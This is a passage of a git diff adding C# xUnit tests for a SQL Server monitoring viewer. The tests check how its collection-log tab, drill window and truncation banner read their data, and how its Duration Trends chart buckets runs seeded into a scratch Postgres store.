+    public void TheTabReadsThePage_WithTheDefaultCap_Once()
+    {
+        /* No maxRows argument at the one call site: the page the grid shows is the cap the banner names. */
+        var tabs = AllViewerCode("ViewerServerTab*.cs");
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetRecentCollectionLogAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetRecentCollectionLogAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+    }
+
+    // ── The tab: the probe beside the read inside the declared width, released before the banner awaits it ──
+
+    [Fact]
+    public void TheTab_StartsTheProbeBesideItsRead_InsideTheDeclaredWidth_AndReleasesItBeforeTheBannerAwaitsTheProbe()
+    {
+        var load = MethodBody(TabFile(), @"private async Task LoadHealthAsync\(");
+
+        /* Five reads in flight (the health rollup, the probe, the log, the chart's bucketed read and the caveats, #4966), so the width
+           declared to the deadline is five. */
+        Assert.Equal(1, Matches(load, @"using var readFanOut = ViewerReadFanOut\.Of\(5\);"));
+        Assert.Equal(5, Matches(load, @"_dataService\.Get\w+Async\("));
+
+        var declared = load.IndexOf("ViewerReadFanOut.Of(5)", StringComparison.Ordinal);
+        var probe = load.IndexOf("_dataService.GetCollectionLogDataStartAsync(_server.ServerId, startUtc, endUtc)", StringComparison.Ordinal);
+        var read = load.IndexOf("_dataService.GetRecentCollectionLogAsync(_server.ServerId, startUtc, endUtc)", StringComparison.Ordinal);
+        /* #5034: the join is awaited through the watching helper, which is the same join with the probe watched beside it. */
+        var join = load.IndexOf("await AwaitReadWatchingProbeAsync(Task.WhenAll(", StringComparison.Ordinal);
+        var release = load.IndexOf("readFanOut.Release();", StringComparison.Ordinal);
+        var banner = load.IndexOf("await ShowCollectionHealthAsync(", StringComparison.Ordinal);
+
+        Assert.True(declared >= 0 && probe > declared && read > declared, "the probe and the read start after the width is declared");
+        Assert.True(probe < join && read < join, "the probe starts beside the read, before the join");
+        Assert.True(release > join, "the width ends at the join");
+        Assert.True(banner > release, "the banner awaits its probe after the width is released");
+
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetCollectionLogDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowCollectionHealthAsync\(\s*healthTask\.Result,\s*logTask\.Result,\s*durationTask\.Result,\s*caveatsTask\.Result,\s*dataStartTask,\s*startUtc,\s*CollectionLogTruncationBanner,"));
+
+        /* The probe is only the disclosure: it is not part of the join and is never awaited bare, so one that throws costs its banner and nothing after it.
+           The chart's read is a read the tab draws, so it is joined with the others. */
+        Assert.Matches(@"await AwaitReadWatchingProbeAsync\(Task\.WhenAll\(healthTask,\s*logTask,\s*durationTask,\s*caveatsTask\),\s*dataStartTask,\s*""Collection Log""\);", load);
+        Assert.DoesNotContain("await dataStartTask", load, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTabsBanner_IsDeclaredAboveItsGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var declared = Regex.Match(xaml, @"<TextBlock Grid\.Row=""0"" x:Name=""CollectionLogTruncationBanner""[^>]*/>");
+        Assert.True(declared.Success, "CollectionLogTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", declared.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", declared.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<DataGrid Grid\.Row=""1"" x:Name=""CollectionLogGrid""", xaml);
+    }
+
+    // ── The drill: one read-and-note call, its banner in its XAML, one start for the read and the probe ──
+
+    [Fact]
+    public void TheDrillWindow_CallsReadDrillWithItsBanner_AndTheBannerIsDeclaredInItsXaml()
+    {
+        var code = DrillFile();
+        var load = MethodBody(code, @"private async Task LoadCollectionLogAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var logs = await ReadDrillAsync\(_dataService,\s*_serverId,\s*_collectorName,\s*CollectionLogTruncationBanner\);"));
+
+        /* The window never reads the collector's runs itself: the one call to the read is inside ReadDrillAsync, beside its probe. */
+        Assert.DoesNotContain("GetCollectionLogByCollectorAsync(", load, StringComparison.Ordinal);
+        var viewerFiles = AllViewerCode("*.cs");
+        Assert.Equal(1, Matches(viewerFiles, @"\.GetCollectionLogByCollectorAsync\("));
+        Assert.Equal(1, Matches(viewerFiles, @"\.GetCollectionLogDataStartAsync\(_server\.ServerId,"));
+        Assert.Equal(1, Matches(viewerFiles, @"\.GetCollectionLogDataStartAsync\(serverId,"));
+
+        var xaml = ViewerFile("CollectionLogWindow.xaml");
+        var declared = Regex.Match(xaml, @"<TextBlock x:Name=""CollectionLogTruncationBanner""[^>]*/>", RegexOptions.Singleline);
+        Assert.True(declared.Success, "CollectionLogTruncationBanner is not declared in CollectionLogWindow.xaml");
+        Assert.Contains("Visibility=\"Collapsed\"", declared.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", declared.Value, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDrill_UsesTheDrillHours_ForItsReadAndItsProbe_FromOneStart()
+    {
+        var read = MethodBody(DrillFile(), @"internal static async Task<List<CollectionLogRow>> ReadDrillAsync\(");
+
+        /* One window: the end from the pin or the clock, one start from it by the drill's hours, and that start handed to both. */
+        Assert.Equal(1, Matches(read, @"var endUtc = asOfUtc \?\? DateTime\.UtcNow;"));
+        Assert.Equal(1, Matches(read, @"var startUtc = endUtc\.AddHours\(-ViewerDataService\.CollectionLogDrillHours\);"));
+        Assert.Equal(1, Matches(read, @"dataService\.GetCollectionLogDataStartAsync\(serverId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(read, @"var dataReadTask = dataService\.GetCollectionLogByCollectorAsync\(serverId,\s*collectorName,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(read, @"await ViewerProbeWatch\.AwaitReadWatchingProbeAsync\(dataReadTask,\s*dataStartTask,\s*""Collection Log Drill""\);"));
+
+        /* No second clock read and no hours handed to the read: either would let the read's start move apart from the probe's. */
+        Assert.Equal(1, Matches(read, @"DateTime\.UtcNow"));
+        Assert.Equal(1, Matches(read, @"AddHours\("));
+        Assert.DoesNotContain("GetCollectionLogByCollectorAsync(serverId, collectorName, ViewerDataService.CollectionLogDrillHours", read, StringComparison.Ordinal);
+
+        /* The read has no row cap, so the note follows the coverage rule: the call names no cap. */
+        Assert.Matches(
+            @"await ViewerServerTab\.ShowEventDataStartAsync\(\s*banner,\s*dataStartTask,\s*""Collection Log Drill"",\s*startUtc,\s*logs\.Select\(l => \(DateTime\?\)l\.CollectionTime\)\);",
+            read);
+
+        /* The hours-back overload keeps the same default span, and the start overload is the one it delegates to. */
+        var hoursBack = typeof(ViewerDataService).GetMethods()
+            .Where(m => m.Name == nameof(ViewerDataService.GetCollectionLogByCollectorAsync))
+            .Single(m => m.GetParameters().Any(p => p.Name == "hoursBack"));
+        Assert.Equal(ViewerDataService.CollectionLogDrillHours, hoursBack.GetParameters().Single(p => p.Name == "hoursBack").DefaultValue);
+        Assert.Equal(168, ViewerDataService.CollectionLogDrillHours);
+
+        var delegating = MethodBody(DataServiceFile(), @"public Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync\(int serverId, string collectorName, int hoursBack");
+        Assert.Equal(1, Matches(delegating, @"DateTime\.UtcNow"));
+        Assert.Matches(@"GetCollectionLogByCollectorAsync\(serverId,\s*collectorName,\s*endUtc\.AddHours\(-hoursBack\),\s*endUtc,\s*cancellationToken\);", delegating);
+    }
+
+    /* #4966: the drill's two reads run at once (the probe and the runs), so the call declares a width of two as every tab does, before
+       the first read starts, and ends it when the runs are in, before the note awaits its probe (the width is not a bound on the
+       probe's wait). A read with no end bounded only the probe by a pinned end, so both reads take the one window. */
+    [Fact]
+    public void TheDrill_DeclaresItsTwoReadsWidth_BeforeTheFirstRead_AndReleasesItBeforeTheNoteAwaitsItsProbe()
+    {
+        var read = MethodBody(DrillFile(), @"internal static async Task<List<CollectionLogRow>> ReadDrillAsync\(");
+
+        Assert.Equal(1, Matches(read, @"using var readFanOut = ViewerReadFanOut\.Of\(2\);"));
+        Assert.Equal(2, Matches(read, @"dataService\.Get\w+Async\("));
+
+        var declared = read.IndexOf("ViewerReadFanOut.Of(2)", StringComparison.Ordinal);
+        var probe = read.IndexOf("dataService.GetCollectionLogDataStartAsync(", StringComparison.Ordinal);
+        var runs = read.IndexOf("await ViewerProbeWatch.AwaitReadWatchingProbeAsync(dataReadTask", StringComparison.Ordinal);
+        Assert.True(read.IndexOf("var dataReadTask = dataService.GetCollectionLogByCollectorAsync(", StringComparison.Ordinal) > probe, "the runs start beside the probe");
+        var release = read.IndexOf("readFanOut.Release();", StringComparison.Ordinal);
+        var note = read.IndexOf("await ViewerServerTab.ShowEventDataStartAsync(", StringComparison.Ordinal);
+
+        Assert.True(declared >= 0 && probe > declared && runs > probe, "the width is declared before the probe and the runs start");
+        Assert.True(release > runs, "the width ends when the runs are in");
+        Assert.True(note > release, "the note awaits its probe after the width is released");
+    }
+
+    [Fact]
+    public void TheDrillsSql_BoundsTheRunsOnBothSides_AndTheReadBindsBothAsNaiveUtc()
+    {
+        var sql = ViewerDataService.CollectionLogByCollectorSql;
+        Assert.Contains("AND   collection_time >= $3", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   collection_time <= $4", sql, StringComparison.Ordinal);
+
+        var body = MethodBody(DataServiceFile(), @"public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync\(int serverId, string collectorName, DateTime startUtc, DateTime endUtc");
+        Assert.Matches(@"TypedValue = DateTime\.SpecifyKind\(startUtc,\s*DateTimeKind\.Unspecified\),", body);
+        Assert.Matches(@"TypedValue = DateTime\.SpecifyKind\(endUtc,\s*DateTimeKind\.Unspecified\),", body);
+    }
+
+    [Fact]
+    public void TheReadFromAStart_BindsTheStartAsNaiveUtc_AndTheClockIsReadNowhereElseInIt()
+    {
+        var body = MethodBody(DataServiceFile(), @"public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync\(int serverId, string collectorName, DateTime startUtc, DateTime endUtc");
+
+        Assert.Matches(@"TypedValue = DateTime\.SpecifyKind\(startUtc,\s*DateTimeKind\.Unspecified\),", body);
+        Assert.DoesNotContain("DateTime.UtcNow", body, StringComparison.Ordinal);
+    }
+
+    // ── What the banner shows (the product's own decision, on a real control) ──
+
+    /* The log's coverage starts 3 days into the range (a server added then): the notice names it, in the display zone, to the second. */
+    [Fact]
+    public void ARangeThatStartsBeforeTheFirstCollection_NamesTheFirstCollection_ToTheSecond()
+    {
+        var shown = DataStartBannerReadout.For(
+            Task.FromResult<DateTime?>(At(3)), RangeStart, [At(3), At(3, 1)], ViewerDataService.CollectionLogRowCap,
+            mode: TimeDisplayMode.ServerTime, serverOffsetMinutes: 330);
+
+        Assert.Equal(DataStartBannerReadout.Since(At(3), TimeDisplayMode.ServerTime, 330), shown);
+        Assert.Contains("2026-09-04 05:30:00", shown, StringComparison.Ordinal);
+    }
+
+    /* A quiet start: the log covered the range (coverage 20 days before it), and the first run came 5 hours in. No note. */
+    [Fact]
+    public void AQuietStart_RaisesNoNote()
+    {
+        Assert.Null(DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(-20)), RangeStart, [At(0, 5), At(2)], ViewerDataService.CollectionLogRowCap));
+    }
+
+    /* A full page names its oldest returned run, with no slack: one second after the range's start is a cut, the start itself is not. */
+    [Fact]
+    public void AFullPage_NamesItsOldestRun_WithNoSlack_AgainstTheRangeStart()
+    {
+        var cap = ViewerDataService.CollectionLogRowCap;
+        var coveredStore = Task.FromResult<DateTime?>(At(-20));
+
+        var oneSecondAfter = Enumerable.Range(0, cap).Select(i => (DateTime?)RangeStart.AddSeconds(1).AddMinutes(i)).ToList();
+        Assert.Equal(DataStartBannerReadout.Since(RangeStart.AddSeconds(1)), DataStartBannerReadout.For(coveredStore, RangeStart, oneSecondAfter, cap));
+
+        var atTheStart = Enumerable.Range(0, cap).Select(i => (DateTime?)RangeStart.AddMinutes(i)).ToList();
+        Assert.Null(DataStartBannerReadout.For(coveredStore, RangeStart, atTheStart, cap));
+    }
+
+    /* One run under the cap is not a cut: the coverage rule applies, and a covered range says nothing. */
+    [Fact]
+    public void APageOneRunUnderTheCap_KeepsTheCoverageRule()
+    {
+        var cap = ViewerDataService.CollectionLogRowCap;
+        var coveredStore = Task.FromResult<DateTime?>(At(-20));
+
+        var underTheCap = Enumerable.Range(0, cap - 1).Select(i => (DateTime?)At(0, 5).AddMinutes(i)).ToList();
+        Assert.Null(DataStartBannerReadout.For(coveredStore, RangeStart, underTheCap, cap));
+
+        var full = Enumerable.Range(0, cap).Select(i => (DateTime?)At(0, 5).AddMinutes(i)).ToList();
+        Assert.Equal(DataStartBannerReadout.Since(At(0, 5)), DataStartBannerReadout.For(coveredStore, RangeStart, full, cap));
+    }
+
+    // ── A window no longer than the slack starts no probe ──
+
+    /* The probe returns at once on a range of an hour or up to the 90-minute slack, with no query against a store nothing listens on;
+       one minute over the slack starts the query, which fails there. */
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task ARangeNoLongerThanTheSlack_MakesNoProbeCall(int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        Assert.Null(await viewer.GetCollectionLogDataStartAsync(1, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    [Fact]
+    public async Task ARangeOneMinuteOverTheSlack_StartsTheProbe_AgainstNoStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetCollectionLogDataStartAsync(1, RangeStart, RangeStart.AddMinutes(91), ct));
+    }
+
+    /* A page under the cap in a one-hour range: the probe answered nothing (it made no call), so the note falls to the earliest run shown,
+       which is inside the slack of the range's start and says nothing. */
+    [Fact]
+    public void AOneHourRange_WithAPageUnderTheCap_ShowsNoNote()
+    {
+        var runs = new List<DateTime?> { RangeStart.AddMinutes(40), RangeStart.AddMinutes(45), RangeStart.AddMinutes(50) };
+
+        Assert.Null(DataStartBannerReadout.For(Task.FromResult<DateTime?>(null), RangeStart, runs, ViewerDataService.CollectionLogRowCap));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCollectorDurationChartLiveTests.cs b/Darling/Darling.Tests/ViewerCollectorDurationChartLiveTests.cs
new file mode 100644
index 0000000000..0fd27a1e08
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectorDurationChartLiveTests.cs
@@ -0,0 +1,337 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture reaches DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres, seeds it
+   once, and every fact then reads inside it and never writes. */
+/// <summary>
+/// The store behind <see cref="ViewerCollectorDurationChartLiveTests"/>: two servers, each holding the collection log runs the
+/// Duration Trends chart draws. Every time below is measured back from <see cref="End"/>, the minute the store was seeded at, in
+/// naive UTC.
+/// </summary>
+public sealed class CollectorDurationChartStore : IAsyncLifetime
+{
+    public const string WaitStats = "wait_stats";
+    public const string CpuUtilization = "cpu_utilization";
+    public const string LatchStats = "latch_stats";
+
+    /// <summary>Monitored for months, logging fast: <see cref="WaitStats"/> every minute and <see cref="CpuUtilization"/> every
+    /// two minutes for the 24 hours ending at <see cref="End"/>, 2,162 runs, more than four pages of the grid.</summary>
+    public const int DenseServerId = -496901;
+
+    /// <summary>Monitored for months; <see cref="WaitStats"/> every minute for three hours from <see cref="T"/>, every run 100 ms
+    /// but one 5,000 ms, plus the runs the chart must leave out and one run of another collector.</summary>
+    public const int ExactServerId = -496902;
+
+    /// <summary>The dense server's duration, in milliseconds, for every run.</summary>
+    public const int DenseDurationMs = 20;
+
+    /// <summary>The exact server's ordinary run, in milliseconds.</summary>
+    public const int RunMs = 100;
+
+    /// <summary>The exact server's one slow run, in milliseconds, at <see cref="T"/> plus 25 minutes.</summary>
+    public const int SlowRunMs = 5000;
+
+    private ScratchPostgres? _scratch;
+    private long _nextLogId = 1;
+
+    public ViewerDataService? Viewer { get; private set; }
+
+    /// <summary>The minute the history ends at, naive UTC.</summary>
+    public DateTime End { get; private set; } = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+    /// <summary>The exact server's first run: an hour boundary six hours before <see cref="End"/>, which every ladder width up to an hour divides.</summary>
+    public DateTime T => new DateTime(End.Year, End.Month, End.Day, End.Hour, 0, 0, DateTimeKind.Unspecified).AddHours(-6);
+
+    public static string ServerName(int serverId) => $"cdc-{-serverId}";
+
+    public async ValueTask InitializeAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(baseConnectionString))
+        {
+            return;
+        }
+
+        var now = DateTime.UtcNow;
+        End = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Unspecified);
+        _scratch = await ScratchPostgres.CreateAsync(baseConnectionString, CancellationToken.None);
+        await using (var connection = new NpgsqlConnection(_scratch.ConnectionString))
+        {
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+            await SeedAsync(connection);
+        }
+
+        Viewer = new ViewerDataService(_scratch.ConnectionString);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (Viewer is not null)
+        {
+            await Viewer.DisposeAsync();
+        }
+
+        if (_scratch is not null)
+        {
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    private async Task SeedAsync(NpgsqlConnection connection)
+    {
+        /* Dense: 1,441 wait_stats runs and 721 cpu_utilization runs across the 24 hours, the first and the last run on the range's own ends. */
+        await AddServerAsync(connection, DenseServerId, End.AddDays(-120));
+        await RunsAsync(connection, DenseServerId, WaitStats, End.AddHours(-24), End, 1, DenseDurationMs);
+        await RunsAsync(connection, DenseServerId, CpuUtilization, End.AddHours(-24), End, 2, DenseDurationMs);
+
+        /* Exact: 180 one-minute runs of 100 ms from T, so every 10-minute bucket from T holds ten. The run at T plus 25 minutes is
+           the slow one (its bucket's maximum is 5,000, its average 590). Two rows in the bucket from T plus 10 minutes that the chart
+           has never drawn and must not count: an ERROR run of 99,999 ms, and a SUCCESS run with no duration. One run of another collector. */
+        await AddServerAsync(connection, ExactServerId, End.AddDays(-120));
+        await RunsAsync(connection, ExactServerId, WaitStats, T, T.AddMinutes(179), 1, RunMs);
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "UPDATE collect.collection_log SET duration_ms = $4 WHERE server_id = $1 AND collector_name = $2 AND collection_time = $3",
+            ExactServerId, WaitStats, DarlingMcpTestData.Naive(T.AddMinutes(25)), SlowRunMs);
+        await RunAsync(connection, ExactServerId, WaitStats, T.AddMinutes(12).AddSeconds(30), "ERROR", 99_999);
+        await RunAsync(connection, ExactServerId, WaitStats, T.AddMinutes(14).AddSeconds(30), "SUCCESS", null);
+        await RunAsync(connection, ExactServerId, LatchStats, T.AddMinutes(30), "SUCCESS", 7);
+    }
+
+    private static async Task AddServerAsync(NpgsqlConnection connection, int serverId, DateTime createdUtc)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, ServerName(serverId), CancellationToken.None);
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None, "UPDATE collect.servers SET created_date = $2 WHERE server_id = $1",
+            serverId, DarlingMcpTestData.Naive(createdUtc));
+    }
+
+    /* The collector's successful runs from first to last, every stepMinutes, each of durationMs. */
+    private async Task RunsAsync(
+        NpgsqlConnection connection, int serverId, string collector, DateTime first, DateTime last, int stepMinutes, int durationMs)
+    {
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+            + "SELECT $5 + row_number() OVER (ORDER BY t), $1, $2, $6, t, $7, 'SUCCESS', 0 "
+            + $"FROM generate_series($3::timestamp, $4::timestamp, interval '{stepMinutes} minutes') AS t",
+            serverId, ServerName(serverId), DarlingMcpTestData.Naive(first), DarlingMcpTestData.Naive(last), _nextLogId, collector, durationMs);
+        _nextLogId += 100_000;
+    }
+
+    private async Task RunAsync(NpgsqlConnection connection, int serverId, string collector, DateTime at, string status, int? durationMs)
+    {
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+            + "VALUES ($1, $2, $3, $4, $5, $6, $7, 0)",
+            _nextLogId, serverId, ServerName(serverId), collector, DarlingMcpTestData.Naive(at), durationMs, status);
+        _nextLogId += 100_000;
+    }
+}
+
+/// <summary>
+/// The Collection Health tab's Duration Trends chart draws its own read over the whole range (#4966), over a store. Each fact runs
+/// the read the tab starts beside the grid's (<see cref="ViewerDataService.GetCollectorDurationTrendAsync"/>) and builds the lines
+/// from it with the step the chart draws them with (<see cref="CollectorDurationSeries.Build"/>), so what is asserted is what the chart
+/// plots. The case that matters: a 24-hour range holding more than the grid's page of runs draws points from one end of the range to
+/// the other, where the chart fed the page drew only the newest runs. The rest: the bucket width the shared helper picks for 7 days,
+/// each bucket's maximum, average and count, the first bucket clamped to the range's start, the range's end inclusive, and the runs
+/// the chart has never drawn (not successful, no duration, another server) left out.
+/// </summary>
+public sealed class ViewerCollectorDurationChartLiveTests : IClassFixture<CollectorDurationChartStore>
+{
+    private readonly CollectorDurationChartStore _store;
+
+    public ViewerCollectorDurationChartLiveTests(CollectorDurationChartStore store) => _store = store;
+
+    private DateTime End => _store.End;
+
+    private void RequireStore() =>
+        Assert.SkipWhen(_store.Viewer is null, "Set DARLING_TEST_PG to a Postgres connection string to run the live Duration Trends chart tests.");
+
+    private async Task<List<CollectorDurationBucket>> ChartReadAsync(int serverId, DateTime startUtc, DateTime endUtc)
+    {
+        RequireStore();
+        return await _store.Viewer!.GetCollectorDurationTrendAsync(serverId, startUtc, endUtc, TestContext.Current.CancellationToken);
+    }
+
+    // ── The case the chart got wrong: a range that holds more than the grid's page ──
+
+    [Fact]
+    public async Task A24HourRange_HoldingMoreThanTheGridsPage_DrawsPointsAcrossTheWholeRange()
+    {
+        RequireStore();
+        var start = End.AddHours(-24);
+
+        /* The store really outgrows the page: 2,162 runs in the range, the grid keeps the newest 500, and those end hours into the range. */
+        var page = await _store.Viewer!.GetRecentCollectionLogAsync(
+            CollectorDurationChartStore.DenseServerId, start, End, cancellationToken: TestContext.Current.CancellationToken);
+        Assert.Equal(ViewerDataService.CollectionLogRowCap, page.Count);
+        Assert.True(page.Min(r => r.CollectionTime) >= End.AddHours(-6), "the page the grid keeps ends hours into the 24 hours");
+
+        /* What the chart plots: each collector's line starts on the range's first instant and ends on its last, and holds a point
+           for every bucket (a minute wide for 24 hours), well over the page. */
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.DenseServerId, start, End);
+        var lines = CollectorDurationSeries.Build(buckets);
+
+        Assert.Equal(new[] { CollectorDurationChartStore.CpuUtilization, CollectorDurationChartStore.WaitStats }, lines.Select(l => l.Collector).ToArray());
+        foreach (var line in lines)
+        {
+            Assert.Equal(start.ToOADate(), line.Times[0]);
+            Assert.Equal(End.ToOADate(), line.Times[^1]);
+        }
+
+        var wait = lines.Single(l => l.Collector == CollectorDurationChartStore.WaitStats);
+        var cpu = lines.Single(l => l.Collector == CollectorDurationChartStore.CpuUtilization);
+        Assert.Equal(1441, wait.Times.Length);
+        Assert.Equal(721, cpu.Times.Length);
+        Assert.True(wait.Times.Length > ViewerDataService.CollectionLogRowCap, "the read is not capped at the grid's page");
+        Assert.All(wait.MaxMs, v => Assert.Equal(CollectorDurationChartStore.DenseDurationMs, v));
+
+        /* The bucket is the shared helper's width: every gap between a collector's buckets is that many minutes. */
+        var width = ViewerDataService.CollectorDurationBucketMinutes(start, End);
+        Assert.Equal(1, width);
+        var waitBuckets = buckets.Where(b => b.CollectorName == CollectorDurationChartStore.WaitStats).ToList();
+        Assert.All(waitBuckets.Zip(waitBuckets.Skip(1)), p => Assert.Equal(TimeSpan.FromMinutes(width), p.Second.BucketStart - p.First.BucketStart));
+    }
+
+    [Fact]
+    public async Task A7DayRange_BucketsAtTheSharedWidth_AndMergesTheRunsIntoEachBucket()
+    {
+        var start = End.AddDays(-7);
+
+        /* A week sizes to ten minutes against the chart budget, per the shared helper. If the shared ladder or budget moves, this and the
+           expectations below are the ones to move with it. */
+        var width = ViewerDataService.CollectorDurationBucketMinutes(start, End);
+        Assert.Equal(TrendBuckets.AutoMinutes(7 * 24 * 60, 1, TrendBudget.Chart.AutoPoints), width);
+        Assert.Equal(10, width);
+
+        /* The dense server's 24 hours of one-minute runs now fall ten to a bucket: 1,441 runs in 145 buckets or fewer, every one counted. */
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.DenseServerId, start, End);
+        var wait = buckets.Where(b => b.CollectorName == CollectorDurationChartStore.WaitStats).ToList();
+
+        Assert.InRange(wait.Count, 145, 146);
+        Assert.Equal(1441, wait.Sum(b => b.RunCount));
+        Assert.All(wait.Zip(wait.Skip(1)), p => Assert.Equal(TimeSpan.FromMinutes(width), p.Second.BucketStart - p.First.BucketStart));
+        Assert.All(wait, b => Assert.Equal(0, b.BucketStart.Minute % width));
+        Assert.All(wait.Skip(1).SkipLast(1), b => Assert.Equal(width, b.RunCount));
+    }
+
+    [Fact]
+    public async Task EachBucket_CarriesItsMaximumAverageAndCount_SoASlowRunStillShows()
+    {
+        var t = _store.T;
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, End.AddDays(-7), End);
+        var wait = buckets.Where(b => b.CollectorName == CollectorDurationChartStore.WaitStats).ToList();
+
+        /* 180 one-minute runs from T, ten minutes a bucket: 18 buckets of ten, the first on T itself (the range starts days earlier). */
+        Assert.Equal(18, wait.Count);
+        Assert.Equal(t, wait[0].BucketStart);
+        Assert.All(wait, b => Assert.Equal(10, b.RunCount));
+
+        /* The slow run is in the bucket from T plus 20 minutes: nine runs of 100 and one of 5,000. The bucket's maximum is the slow
+           run, which is what the chart draws; its average is 590. Every other bucket's three figures are the ordinary run's. */
+        var slow = wait[2];
+        Assert.Equal(t.AddMinutes(20), slow.BucketStart);
+        Assert.Equal(CollectorDurationChartStore.SlowRunMs, slow.MaxDurationMs);
+        Assert.Equal(590d, slow.AvgDurationMs);
+        Assert.All(wait.Where((_, i) => i != 2), b =>
+        {
+            Assert.Equal(CollectorDurationChartStore.RunMs, b.MaxDurationMs);
+            Assert.Equal((double)CollectorDurationChartStore.RunMs, b.AvgDurationMs);
+        });
+
+        /* The line holds that maximum: the chart plots the slow bucket at 5,000 ms. */
+        var line = CollectorDurationSeries.Build(buckets).Single(l => l.Collector == CollectorDurationChartStore.WaitStats);
+        Assert.Equal((double)CollectorDurationChartStore.SlowRunMs, line.MaxMs.Max());
+        Assert.Equal(590d, line.AvgMs[2]);
+        Assert.Equal(10L, line.Runs[2]);
+    }
+
+    [Fact]
+    public async Task ARunThatIsNotSuccessfulOrHasNoDuration_IsNotInTheChart()
+    {
+        /* The bucket from T plus 10 minutes holds an ERROR run of 99,999 ms and a SUCCESS run with no duration beside its ten ordinary
+           runs: neither is counted nor raises the maximum. */
+        var t = _store.T;
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, End.AddDays(-7), End);
+        var bucket = buckets.Single(b => b.CollectorName == CollectorDurationChartStore.WaitStats && b.BucketStart == t.AddMinutes(10));
+
+        Assert.Equal(10, bucket.RunCount);
+        Assert.Equal(CollectorDurationChartStore.RunMs, bucket.MaxDurationMs);
+        Assert.Equal((double)CollectorDurationChartStore.RunMs, bucket.AvgDurationMs);
+        Assert.DoesNotContain(buckets, b => b.MaxDurationMs == 99_999);
+    }
+
+    [Fact]
+    public async Task TheFirstBucket_StartsAtTheRangesStart_WhenTheRangeStartsInsideABucket()
+    {
+        /* A range that starts five minutes into a ten-minute bucket: the first bucket is clamped to the range's start, not the grid line
+           before it, and holds only the five runs from there. A range's end may lie past the data. */
+        var start = _store.T.AddMinutes(5);
+        var end = start.AddDays(7);
+        Assert.Equal(10, ViewerDataService.CollectorDurationBucketMinutes(start, end));
+
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, start, end);
+        var wait = buckets.Where(b => b.CollectorName == CollectorDurationChartStore.WaitStats).ToList();
+
+        Assert.Equal(start, wait[0].BucketStart);
+        Assert.Equal(5, wait[0].RunCount);
+        Assert.Equal(_store.T.AddMinutes(10), wait[1].BucketStart);
+        Assert.Equal(10, wait[1].RunCount);
+    }
+
+    [Fact]
+    public async Task TheRangesEnd_IsInclusive_AndNothingLaterIsRead()
+    {
+        /* One hour from T to T plus 60 minutes reads a minute wide: the run on the end instant is in, the one a minute after is not. */
+        var t = _store.T;
+        var buckets = await ChartReadAsync(CollectorDurationChartStore.ExactServerId, t, t.AddMinutes(60));
+        var wait = buckets.Where(b => b.CollectorName == CollectorDurationChartStore.WaitStats).ToList();
+
+        Assert.Equal(61, wait.Count);
+        Assert.Equal(t, wait[0].BucketStart);
+        Assert.Equal(t.AddMinutes(60), wait[^1].BucketStart);
+    }
+
+    [Fact]
